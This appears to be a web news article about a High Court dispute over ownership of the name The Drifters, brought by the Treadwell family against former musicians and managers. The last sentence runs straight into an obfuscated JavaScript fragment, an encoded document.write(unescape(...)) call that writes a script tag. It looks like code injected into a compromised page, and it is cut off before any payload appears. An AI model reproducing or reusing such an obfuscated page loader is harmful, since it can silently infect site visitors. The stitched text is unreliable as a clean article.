The Drifters court battle

A High Court battle is set to take place over ownership of the name of pop group The Drifters.

On the eve of a new British tour and the release of the first new album in 30 years, writs have been served in London.

The Treadwell family, who have musically and legally controlled the Drifters since 1953, are accusing four musicians, their former British tour manager Philip Luderman and their former agent Mark Lundquist of "passing off" a UK group as the real thing and so infringing the Drifters' trademark.

The Treadwells are represented by top London entertainment law firm Clintons, which has been involved in ground-breaking music industry cases including successfully defending Sony in a dispute brought by George Michael over a record contract.

The Treadwells want the court to rule that the defendants are not entitled to use the name the Drifters and that they must stop allegedly operating two websites passing themselves off as the Drifters and making recordings as the Drifters.

Tina Treadwell, daughter of the late Drifters founder George Treadwell and his wife Faye, said: "It is my goal to rid the marketplace of all the warring factions of the Drifters so there is just one group that the fans can depend on. When something is wonderful you always have people who will copy it."

The Drifters are one of the longest-running bands in pop history with record sales ranking alongside the likes of the Beatles, the Rolling Stones and the Bee Gees.

Between 1954 and 1967 they were controlled and managed by George Treadwell, a music svengali in the mould of X Factor judge Simon Cowell.

George and his wife had complete artistic control over the band and hired and fired singers in the group including all four in one line up in one night in the 1950s.

Following George's death in 1967, all rights in the business passed to his wife Faye who brought the group to the UK for their first tour.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22